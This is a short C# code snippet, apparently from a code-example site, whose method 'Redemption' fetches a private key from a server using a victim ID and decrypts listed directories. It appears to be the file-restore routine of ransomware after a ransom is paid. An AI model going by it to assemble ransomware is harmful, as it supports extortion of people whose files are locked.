Esempio n. 1
0
        /// <summary>
        /// 触发赎回
        /// </summary>
        public static void Redemption()
        {
            var cipPrivKey = KeyUtils.DecodeECPrivateKey(Hex.Decode(
                                                             Task.Run(() => HttpUtils.httpreq(guid, HttpUtils.PostAction.Redemption)).Result
                                                             ));

            foreach (string dir in rootdir)
            {
                processor.DecryptDirectory(cipPrivKey, dir);
            }
        }